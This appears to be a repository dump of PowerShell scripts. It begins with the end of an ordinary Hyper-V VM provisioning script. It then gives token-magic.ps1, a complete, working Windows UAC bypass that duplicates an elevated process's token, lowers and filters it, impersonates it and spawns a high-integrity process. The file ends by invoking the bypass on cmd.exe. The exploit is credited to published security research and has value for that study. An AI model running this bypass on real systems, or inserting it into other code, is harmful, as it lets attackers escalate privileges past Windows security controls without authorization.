158 | $ParentVHDX = Join-Path $ParentDataStore ($vhdfilename + "." + $extension)
159 | $ChildVHDX = Join-Path -Path $ChildDataStore -ChildPath (((New-Guid).Guid) + ".vhdx")
160 | $MemoryStartupBytes = $xml.Configuration.vmconfig.MemoryStartupBytes
161 |
162 | if ($LegacyGeneration) {
163 | $Generation = 1
164 | }
165 | else {
166 | $Generation = $xml.Configuration.vmconfig.generation
167 | }
168 |
169 | $vmprocessorcount = $xml.Configuration.vmconfig.vmprocessorcount
170 | $MinimumBytes = $xml.Configuration.vmconfig.MinimumBytes
171 | $MaximumBytes = $xml.Configuration.vmconfig.MaximumBytes
172 | $AutomaticCheckpointsEnabled = [System.Convert]::ToBoolean($xml.Configuration.vmconfig.AutomaticCheckpointsEnabled)
173 | $GuestServiceInterface = [System.Convert]::ToBoolean($xml.Configuration.vmconfig.GuestServiceInterface)
174 | $AddVMDvdDrive = [System.Convert]::ToBoolean($xml.Configuration.vmconfig.AddVMDvdDrive)
175 | $EnableVMTPM = [System.Convert]::ToBoolean($xml.Configuration.vmconfig.EnableVMTPM)
176 |
177 | if (!($NoSecureBoot)) {
178 | $EnableSecureBoot = [System.Convert]::ToBoolean($xml.Configuration.vmconfig.EnableSecureBoot)
179 | $SecureBootTemplate = $xml.Configuration.vmconfig.SecureBootTemplate
180 | }
181 |
182 | }
183 |
184 | Process {
185 |
186 | Write-Verbose "Create the Virtual Disk"
187 | $VDISK = New-VHD -Path $ChildVHDX -ParentPath $ParentVHDX -Differencing
188 | $VHDPath = $VDISK.Path
189 |
190 | Write-Verbose "Create the Virtual Machine"
191 | $VM = New-VM -Generation $Generation -VHDPath $VHDPath
192 |
193 | Write-Verbose "Set the Virtual Switch"
194 | if ($VMSwitch) {
195 | Connect-VMNetworkAdapter -VMName ($VM.Name) -SwitchName $VMSwitch
196 | }
197 |
198 | Write-Verbose "Rename the Virtual Machine"
199 | if ($VMName) {
200 | Rename-VM -VM $VM -NewName $VMName
201 | }
202 |
203 | Write-Verbose "Set the Number of virtual processors"
204 | if ($vmprocessorcount) {
205 | Set-VM -VM $VM -ProcessorCount $vmprocessorcount
206 | }
207 |
208 | Write-Verbose "Set the startup memory"
209 | if ($MemoryStartupBytes) {
210 | set-vm -VM $VM -MemoryStartupBytes ($MemoryStartupBytes / 1)
211 | }
212 |
213 | Write-Verbose "Set the minimum memory"
214 | if ($MinimumBytes) {
215 | Set-VM $vm -DynamicMemory:$true -MemoryMinimumBytes ($MinimumBytes / 1)
216 | }
217 |
218 | Write-Verbose "Set the maximum memory"
219 | if ($MaximumBytes) {
220 | Set-VM $vm -DynamicMemory:$true -MemoryMaximumBytes ($MaximumBytes / 1)
221 | }
222 |
223 | Write-Verbose "Configure automatic CheckPoint Creation"
224 | if ($AutomaticCheckpointsEnabled) {
225 | Set-VM -VM $vm -AutomaticCheckpointsEnabled:$true
226 | }
227 | else {
228 | Set-VM -VM $vm -AutomaticCheckpointsEnabled:$false
229 | }
230 |
231 | Write-Verbose "Configure Guest Integration Services"
232 | if ($GuestServiceInterface) {
233 | Enable-VMIntegrationService -VM $vm -Name "Guest Service Interface"
234 | }
235 | else {
236 | Disable-VMIntegrationService -VM $vm -Name "Guest Service Interface"
237 | }
238 |
239 | Write-Verbose "Configure the DVD drive"
240 | if ($Generation -eq 2) {
241 | if ($AddVMDvdDrive) {
242 | Add-VMDvdDrive -VM $vm
243 | }
244 | }
245 |
246 | Write-Verbose "Configure the Virtual TPM"
247 | if ($Generation -eq 2) {
248 | If (!($NoVMTPM)) {
249 | if ($EnableVMTPM) {
250 | $UntrustedGuardian = Get-HgsGuardian -Name UntrustedGuardian -ErrorAction SilentlyContinue
251 |
252 | If (!$UntrustedGuardian) {
253 | $UntrustedGuardian = New-HgsGuardian -Name UntrustedGuardian –GenerateCertificates
254 | }
255 |
256 | $Owner = Get-HgsGuardian -Name "UntrustedGuardian"
257 | $KeyProtector = New-HgsKeyProtector -Owner $Owner -AllowUntrustedRoot
258 | Set-VMKeyProtector -VM $vm -KeyProtector $KeyProtector.RawData
259 | Enable-VMTPM -VM $vm
260 | }
261 | }
262 | }
263 |
264 | Write-Verbose "Configure SecureBoot"
265 | if ($Generation -eq 2) {
266 | if ($EnableSecureBoot) {
267 | Set-VMFirmware -VM $vm -EnableSecureBoot On -SecureBootTemplate $SecureBootTemplate
268 | }
269 | else {
270 | Set-VMFirmware -VM $vm -EnableSecureBoot Off
271 | }
272 | }
273 |
274 | Write-Verbose "Start the VM"
275 | if ($VMStart) {
276 | Start-VM -VM $vm
277 | }
278 |
279 | }
280 |
281 | end {}
282 |
283 |
--------------------------------------------------------------------------------
/Scripts/token-magic.ps1:
--------------------------------------------------------------------------------
1 | function UAC-TokenMagic {
2 | <#
3 | .SYNOPSIS
4 | Based on James Forshaw's three part post on UAC, linked below, and possibly a technique
5 | used by the CIA!
6 |
7 | Essentially we duplicate the token of an elevated process, lower it's mandatory
8 | integrity level, use it to create a new restricted token, impersonate it and
9 | use the Secondary Logon service to spawn a new process with High IL. Like
10 | playing hide-and-go-seek with tokens! ;))
11 | This technique even bypasses the AlwaysNotify setting provided you supply it with
12 | a PID for an elevated process.
13 | Targets:
14 | 7,8,8.1,10,10RS1,10RS2
15 |
16 | Reference:
17 | + https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html
18 | + https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-2.html
19 | + https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-3.html
20 |
21 | .DESCRIPTION
22 | Author: Ruben Boonen (@FuzzySec)
23 | License: BSD 3-Clause
24 | Required Dependencies: None
25 | Optional Dependencies: None
26 | .PARAMETER BinPath
27 | Full path of the module to be executed.
28 | .PARAMETER Args
29 | Arguments to pass to the module.
30 | .PARAMETER ProcPID
31 | PID of an elevated process.
32 | .EXAMPLE
33 | C:\PS> UAC-TokenMagic -BinPath C:\Windows\System32\cmd.exe
34 | .EXAMPLE
35 | C:\PS> UAC-TokenMagic -BinPath C:\Windows\System32\cmd.exe -Args "/c calc.exe" -ProcPID 1116
36 | #>
37 |
38 | param(
39 | [Parameter(Mandatory = $True)]
40 | [String]$BinPath,
41 | [Parameter(Mandatory = $False)]
42 | [String]$Args,
43 | [Parameter(Mandatory = $False)]
44 | [int]$ProcPID
45 | )
46 |
47 | Add-Type -TypeDefinition @"
48 | using System;
49 | using System.Diagnostics;
50 | using System.Runtime.InteropServices;
51 | using System.Security.Principal;
52 |
53 | [StructLayout(LayoutKind.Sequential)]
54 | public struct PROCESS_INFORMATION
55 | {
56 | public IntPtr hProcess;
57 | public IntPtr hThread;
58 | public uint dwProcessId;
59 | public uint dwThreadId;
60 | }
61 |
62 | [StructLayout(LayoutKind.Sequential)]
63 | public struct SECURITY_ATTRIBUTES
64 | {
65 | public int nLength;
66 | public IntPtr lpSecurityDescriptor;
67 | public int bInheritHandle;
68 | }
69 |
70 | [StructLayout(LayoutKind.Sequential)]
71 | public struct TOKEN_MANDATORY_LABEL
72 | {
73 | public SID_AND_ATTRIBUTES Label;
74 | }
75 |
76 | [StructLayout(LayoutKind.Sequential)]
77 | public struct SID_AND_ATTRIBUTES
78 | {
79 | public IntPtr Sid;
80 | public UInt32 Attributes;
81 | }
82 |
83 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
84 | public struct STARTUPINFO
85 | {
86 | public uint cb;
87 | public string lpReserved;
88 | public string lpDesktop;
89 | public string lpTitle;
90 | public uint dwX;
91 | public uint dwY;
92 | public uint dwXSize;
93 | public uint dwYSize;
94 | public uint dwXCountChars;
95 | public uint dwYCountChars;
96 | public uint dwFillAttribute;
97 | public uint dwFlags;
98 | public short wShowWindow;
99 | public short cbReserved2;
100 | public IntPtr lpReserved2;
101 | public IntPtr hStdInput;
102 | public IntPtr hStdOutput;
103 | public IntPtr hStdError;
104 | }
105 |
106 | public struct SID_IDENTIFIER_AUTHORITY
107 | {
108 | [MarshalAs(UnmanagedType.ByValArray, SizeConst=6)]
109 | public byte[] Value;
110 | public SID_IDENTIFIER_AUTHORITY(byte[] value)
111 | {
112 | Value = value;
113 | }
114 | }
115 |
116 | [StructLayout(LayoutKind.Sequential)]
117 | public struct SHELLEXECUTEINFO
118 | {
119 | public int cbSize;
120 | public uint fMask;
121 | public IntPtr hwnd;
122 | [MarshalAs(UnmanagedType.LPTStr)]
123 | public string lpVerb;
124 | [MarshalAs(UnmanagedType.LPTStr)]
125 | public string lpFile;
126 | [MarshalAs(UnmanagedType.LPTStr)]
127 | public string lpParameters;
128 | [MarshalAs(UnmanagedType.LPTStr)]
129 | public string lpDirectory;
130 | public int nShow;
131 | public IntPtr hInstApp;
132 | public IntPtr lpIDList;
133 | [MarshalAs(UnmanagedType.LPTStr)]
134 | public string lpClass;
135 | public IntPtr hkeyClass;
136 | public uint dwHotKey;
137 | public IntPtr hIcon;
138 | public IntPtr hProcess;
139 | }
140 | public static class UACTokenMagic
141 | {
142 | [DllImport("advapi32.dll", CharSet=CharSet.Unicode, SetLastError=true)]
143 | public static extern bool CreateProcessWithLogonW(
144 | String userName,
145 | String domain,
146 | String password,
147 | int logonFlags,
148 | String applicationName,
149 | String commandLine,
150 | int creationFlags,
151 | int environment,
152 | String currentDirectory,
153 | ref STARTUPINFO startupInfo,
154 | out PROCESS_INFORMATION processInformation);
155 |
156 | [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
157 | public static extern IntPtr CreateFile(
158 | String lpFileName,
159 | UInt32 dwDesiredAccess,
160 | UInt32 dwShareMode,
161 | IntPtr lpSecurityAttributes,
162 | UInt32 dwCreationDisposition,
163 | UInt32 dwFlagsAndAttributes,
164 | IntPtr hTemplateFile);
165 | [DllImport("kernel32.dll")]
166 | public static extern IntPtr OpenProcess(
167 | UInt32 processAccess,
168 | bool bInheritHandle,
169 | int processId);
170 |
171 | [DllImport("advapi32.dll")]
172 | public static extern bool OpenProcessToken(
173 | IntPtr ProcessHandle,
174 | int DesiredAccess,
175 | ref IntPtr TokenHandle);
176 |
177 | [DllImport("advapi32.dll", CharSet=CharSet.Auto)]
178 | public extern static bool DuplicateTokenEx(
179 | IntPtr hExistingToken,
180 | uint dwDesiredAccess,
181 | ref SECURITY_ATTRIBUTES lpTokenAttributes,
182 | int ImpersonationLevel,
183 | int TokenType,
184 | ref IntPtr phNewToken);
185 |
186 | [DllImport("advapi32.dll")]
187 | public static extern bool AllocateAndInitializeSid(
188 | ref SID_IDENTIFIER_AUTHORITY pIdentifierAuthority,
189 | byte nSubAuthorityCount,
190 | int dwSubAuthority0, int dwSubAuthority1,
191 | int dwSubAuthority2, int dwSubAuthority3,
192 | int dwSubAuthority4, int dwSubAuthority5,
193 | int dwSubAuthority6, int dwSubAuthority7,
194 | ref IntPtr pSid);
195 |
196 | [DllImport("ntdll.dll")]
197 | public static extern int NtSetInformationToken(
198 | IntPtr TokenHandle,
199 | int TokenInformationClass,
200 | ref TOKEN_MANDATORY_LABEL TokenInformation,
201 | int TokenInformationLength);
202 | [DllImport("ntdll.dll")]
203 | public static extern int NtFilterToken(
204 | IntPtr TokenHandle,
205 | UInt32 Flags,
206 | IntPtr SidsToDisable,
207 | IntPtr PrivilegesToDelete,
208 | IntPtr RestrictedSids,
209 | ref IntPtr hToken);
210 |
211 | [DllImport("advapi32.dll")]
212 | public static extern bool ImpersonateLoggedOnUser(
213 | IntPtr hToken);
214 |
215 | [DllImport("kernel32.dll", SetLastError=true)]
216 | public static extern bool TerminateProcess(
217 | IntPtr hProcess,
218 | uint uExitCode);
219 |
220 | [DllImport("shell32.dll", CharSet = CharSet.Auto)]
221 | public static extern bool ShellExecuteEx(
222 | ref SHELLEXECUTEINFO lpExecInfo);
223 | }
224 | "@
225 |
226 | # Test elevated access
227 | $TestAccess = New-Item -Path C:\Windows\System32\test.txt -Type file -ErrorAction SilentlyContinue
228 | if (!$TestAccess) {
229 | echo "`n[*] Session is not elevated"
230 | } else {
231 | echo "`n[!] Session is elevated!`n"
232 | del C:\Windows\System32\test.txt
233 | Break
234 | }
235 |
236 | if ($ProcPID){
237 | $IsValidProc = Get-Process -Id $ProcPID -ErrorAction SilentlyContinue
238 | if (!$IsValidProc) {
239 | echo "[!] Invalid process specified!`n"
240 | Break
241 | }
242 |
243 | # We don't actually check if the process is elevated, be smart
244 | # QueryLimitedInformation = 0x1000
245 | $hProcess = [UACTokenMagic]::OpenProcess(0x00001000,$false,$ProcPID)
246 | if ($hProcess -ne 0) {
247 | echo "[*] Successfully acquired $((Get-Process -Id $ProcPID).Name) handle"
248 | } else {
249 | echo "[!] Failed to get process token!`n"
250 | Break
251 | }
252 | } else {
253 | # Prepare ShellExecuteEx
254 | $ShellExecuteInfo = New-Object SHELLEXECUTEINFO
255 | $ShellExecuteInfo.cbSize = [System.Runtime.InteropServices.Marshal]::SizeOf($ShellExecuteInfo)
256 | $ShellExecuteInfo.fMask = 0x40 # SEE_MASK_NOCLOSEPROCESS
257 | $ShellExecuteInfo.lpFile = "wusa.exe"
258 | $ShellExecuteInfo.nShow = 0x0 # SW_HIDE
259 |
260 | if ([UACTokenMagic]::ShellExecuteEx([ref]$ShellExecuteInfo)) {
261 | echo "[*] WUSA process created"
262 | $hProcess = $ShellExecuteInfo.hProcess
263 | } else {
264 | echo "[!] Failed to create WUSA process!`n"
265 | Break
266 | }
267 | }
268 |
269 | # Open process token
270 | $hToken = [IntPtr]::Zero
271 | if ([UACTokenMagic]::OpenProcessToken($hProcess,0x02000000,[ref]$hToken)) {
272 | echo "[*] Opened process token"
273 | } else {
274 | echo "[!] Failed open process token!`n"
275 | Break
276 | }
277 |
278 | # Duplicate token
279 | # TOKEN_ALL_ACCESS = 0xf01ff
280 | $hNewToken = [IntPtr]::Zero
281 | $SECURITY_ATTRIBUTES = New-Object SECURITY_ATTRIBUTES
282 | if ([UACTokenMagic]::DuplicateTokenEx($hToken,0xf01ff,[ref]$SECURITY_ATTRIBUTES,2,1,[ref]$hNewToken)) {
283 | echo "[*] Duplicated process token"
284 | } else {
285 | echo "[!] Failed to duplicate process token!`n"
286 | Break
287 | }
288 |
289 | # SID initialize
290 | $SID_IDENTIFIER_AUTHORITY = New-Object SID_IDENTIFIER_AUTHORITY
291 | $SID_IDENTIFIER_AUTHORITY.Value = [Byte[]](0x0,0x0,0x0,0x0,0x0,0x10)
292 | $pSID = [IntPtr]::Zero
293 | if ([UACTokenMagic]::AllocateAndInitializeSid([ref]$SID_IDENTIFIER_AUTHORITY,1,0x2000,0,0,0,0,0,0,0,[ref]$pSID)) {
294 | echo "[*] Initialized MedIL SID"
295 | } else {
296 | echo "[!] Failed initialize SID!`n"
297 | Break
298 | }
299 |
300 | # Token integrity label
301 | $SID_AND_ATTRIBUTES = New-Object SID_AND_ATTRIBUTES
302 | $SID_AND_ATTRIBUTES.Sid = $pSID
303 | $SID_AND_ATTRIBUTES.Attributes = 0x20 # SE_GROUP_INTEGRITY
304 | $TOKEN_MANDATORY_LABEL = New-Object TOKEN_MANDATORY_LABEL
305 | $TOKEN_MANDATORY_LABEL.Label = $SID_AND_ATTRIBUTES
306 | $TOKEN_MANDATORY_LABEL_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($TOKEN_MANDATORY_LABEL)
307 | if([UACTokenMagic]::NtSetInformationToken($hNewToken,25,[ref]$TOKEN_MANDATORY_LABEL,$($TOKEN_MANDATORY_LABEL_SIZE)) -eq 0) {
308 | echo "[*] Lowered token mandatory IL"
309 | } else {
310 | echo "[!] Failed modify token!`n"
311 | Break
312 | }
313 |
314 | # Create restricted token
315 | # LUA_TOKEN = 0x4
316 | $LUAToken = [IntPtr]::Zero
317 | if([UACTokenMagic]::NtFilterToken($hNewToken,4,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[ref]$LUAToken) -eq 0) {
318 | echo "[*] Created restricted token"
319 | } else {
320 | echo "[!] Failed to create restricted token!`n"
321 | Break
322 | }
323 |
324 | # Duplicate restricted token
325 | # TOKEN_IMPERSONATE | TOKEN_QUERY = 0xc
326 | $hNewToken = [IntPtr]::Zero
327 | $SECURITY_ATTRIBUTES = New-Object SECURITY_ATTRIBUTES
328 | if ([UACTokenMagic]::DuplicateTokenEx($LUAToken,0xc,[ref]$SECURITY_ATTRIBUTES,2,2,[ref]$hNewToken)) {
329 | echo "[*] Duplicated restricted token"
330 | } else {
331 | echo "[!] Failed to duplicate restricted token!`n"
332 | Break
333 | }
334 |
335 | # Impersonate security context
336 | if([UACTokenMagic]::ImpersonateLoggedOnUser($hNewToken)) {
337 | echo "[*] Successfully impersonated security context"
338 | } else {
339 | echo "[!] Failed impersonate context!`n"
340 | Break
341 | }
342 |
343 | # Prepare CreateProcessWithLogon
344 | $StartupInfo = New-Object STARTUPINFO
345 | $StartupInfo.dwFlags = 0x00000001
346 | $StartupInfo.wShowWindow = 0x0001
347 | $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo)
348 | $ProcessInfo = New-Object PROCESS_INFORMATION
349 |
350 | # Spawn elevated process
351 | # LOGON_NETCREDENTIALS_ONLY = 0x2
352 | $CurrentDirectory = $Env:SystemRoot
353 | if ([UACTokenMagic]::CreateProcessWithLogonW("aaa", "bbb", "ccc", 0x00000002, $BinPath, $Args, 0x04000000, $null, $CurrentDirectory,[ref]$StartupInfo, [ref]$ProcessInfo)) {
354 | echo "[*] Magic..`n"
355 | } else {
356 | echo "[!] Failed to create process!`n"
357 | Break
358 | }
359 |
360 | # Kill wusa, there should be more/robust cleanup in the script, but ... lazy
361 | if (!$ProcPID) {
362 | $CallResult = [UACTokenMagic]::TerminateProcess($ShellExecuteInfo.hProcess, 1)
363 | }
364 | }
365 |
366 |
367 | UAC-TokenMagic -BinPath C:\Windows\System32\cmd.exe
--------------------------------------------------------------------------------